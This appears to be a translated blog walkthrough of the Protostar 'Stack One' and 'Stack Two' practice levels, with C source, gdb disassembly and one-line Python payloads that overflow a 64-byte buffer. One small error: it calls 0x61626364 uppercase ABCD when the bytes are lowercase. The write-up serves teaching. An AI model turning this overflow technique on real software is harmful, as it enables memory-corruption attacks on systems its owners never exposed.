Explanation of basic knowledge of binary secure virtual machine Protostar shooting range (2), stack overflow coverage variables Stack One, Stack Two

Insert image description here

Preface

The installation of Protostar shooting range and some basic introduction to binary security have been introduced in the previous article. Here is the link to the article.

https://blog.csdn.net/qq_45894840/article/details/129490504?spm=1001.2014.3001.5501

What is buffer overflow

A buffer overflow or buffer overflow occurs when the system writes more data to the buffer than it can hold. In simpler words, when the program is running, the system will generate a fixed buffer in memory for the program. Space, if it exceeds this space, it will cause buffer overflow, which can lead to program failure, system downtime, restart and other consequences. What's more serious is that you can even obtain system privileges and perform various illegal operations.

What is a register

Registers are areas of memory that are very close to the CPU, so they can be accessed quickly, but there is a limit to what can be stored in these registers.

Computer registers are a set of high-speed memories located inside the CPU that are used to store and process data. Used to store instructions, data and operation results

Common register names and functions:

累加器寄存器(Accumulator Register,EAX):用于存储操作数和运算结果,在算术和逻辑操作中经常使用。

基址指针寄存器(Base Pointer Register,EBP):用于指向堆栈帧的基地址,通常用于函数调用和局部变量访问。

堆栈指针寄存器(Stack Pointer Register,ESP):指向当前活动堆栈的栈顶地址,在函数调用和参数传递中经常使用。

数据寄存器(Data Register,EDX、ECX、EBX):用于存储数据,在算术和逻辑操作中经常使用。

指令指针寄存器(Instruction Pointer Register,EIP):存储当前要执行的指令的内存地址,用于指示下一条要执行的指令。

Stack One

Program static analysis

https://exploit.education/protostar/stack-one/

Insert image description here

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Source code analysis

First, the program defines two function variables

volatile int modified;
char buffer[64];

Integer variable modified and character variable buffer, in which the maximum character storage of character variable buffer is 64 bytes.

Then the program detects the parameters we entered

if(argc == 1) {
    errx(1, "please specify an argument\n");
}

If we just run the program without inputting arguments, please specify an argument will be output and the program will end.

Then the program defines a variable and performs a string copy operation

modified = 0;
strcpy(buffer, argv[1]);

The modified variable is 0, and then the parameters we entered are copied to the buffer variable.

Then the program makes a simple if judgment

if(modified == 0x61626364) {
    printf("you have correctly got the variable to the right value\n");
} else {
    printf("Try again, you got 0x%08x\n", modified);

If the modified variable is equal to 0x61626364, you have correctly got the variable to the right value, which means that we have successfully cracked it.
0x61626364 is hexadecimal, and the conversion string is uppercase ABCD.
Insert image description here

In other words, we succeeded in changing the modified variable to ABCD, but the modified variable is set to 0. Here we need stack overflow to overwrite the originally set value of the variable.

Compilation analysis

Use gdb to open the program and enter the instructions to view the assembly code

set disassembly-flavor intel
disassemble main

Insert image description here

0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
0x08048467 <main+3>:    and    esp,0xfffffff0
0x0804846a <main+6>:    sub    esp,0x60
0x0804846d <main+9>:    cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:   mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:   add    eax,0x4
0x08048495 <main+49>:   mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:   mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:   mov    eax,0x80485f3
0x080484c9 <main+101>:  mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:  mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret

The most critical part of the program is here

0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>

It uses the mov instruction to move the value of the esp+0x5c stack address to the eax register, and then uses the cmp instruction to compare the value in the eax register with 0x61626364. If the compared values ​​are different, the jne instruction is executed to jump to the 0x80484c0 address to continue. Execute other instructions

Program dynamic analysis

We first set a breakpoint at the address of the program execution comparison instruction.

b *0x080484ab

Then set it to automatically run the command we set

define hook-stop
info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

Insert image description here

Then execute the program and specify the parameters

r AAAAAAAA

Insert image description here

The program executes to the breakpoint we set and automatically executes the command we set above. Here you can see the positions of the eight uppercase A's we entered on the stack, and the value in the eax register is 0.

As mentioned before, the program moves the value at the esp+0x5c address to the eax register, and then executes the comparison instruction.

Insert image description here

Let’s check the value stored in the address esp+0x5c

x/wx $esp+0x5c

Insert image description here

The esp+0x5c address is 0xbffff78c in the stack. Each segment stores four characters. c represents 12

Insert image description here

From the stack address that stores the value we entered to esp+0x5c, there are 64 characters in between. That is to say, we need to output 64 characters + 4 characters we specified to overwrite the modified variable.

Insert image description here

Another knowledge point here is that in the x86 architecture, reading is from low to high. To make the modified variable become 0x61626364, you cannot directly enter abcd, but dcba.

 python -c "print('A'*(4*16)+'dcba')"

Insert image description here

Successfully cracked the program

Stack Two

Program static analysis

https://exploit.education/protostar/stack-two/

Insert image description here
Program source code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

This program code is similar to the first one, except that our input is changed to read the contents of the GREENIE variable in the environment variable.

What are environment variables

The two basic components of any computer programming language are variables and constants. Just like the independent variables in a mathematical equation. Both variables and constants represent unique memory locations that contain data used by the program in its calculations. The difference between the two is that variables may change during execution, while constants cannot be reassigned

Here are just a few common environment variables:

$PATH

Contains some directory lists, the function is that the terminal will search for programs to be executed in these directories.
View the $PATH environment variable

echo $PATH

Insert image description here

If I want to execute the whoami program, the terminal will search for the program named whoami in this environment variable.

The search directories are as follows

/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
/usr/local/games
/usr/games

Insert image description here

The whoami program is in the /usr/bin directory, and the terminal will execute the whoami program in this directory.

Insert image description here

The Windows PATH environment variable can be seen here

Insert image description here

Insert image description here

$HOME

Contains the current user's home directory

echo $HOME

Insert image description here

$PWD

Contains the directory location of the current user

Insert image description here

More information about environment variables:

https://en.wikipedia.org/wiki/Environment_variable

Crack program

Back to the topic

variable = getenv("GREENIE");
strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

First, an environment variable named GREENIE is obtained, and then the content is assigned to the variable variable. Then the if determines whether modified is equal to 0x0d0a0d0a. This is exactly the same as the first program, except that we do not crack the program through input, but put the payload in in the specified environment variable, and then the program reads the environment variable

export GREENIE=$(python -c "print 'A'*(4*16)+'\x0a\x0d\x0a\x0d'"); ./stack2

You can successfully crack it by running it directly.

Insert image description here

Guess you like

Origin blog.csdn.net/qq_45894840/article/details/132688653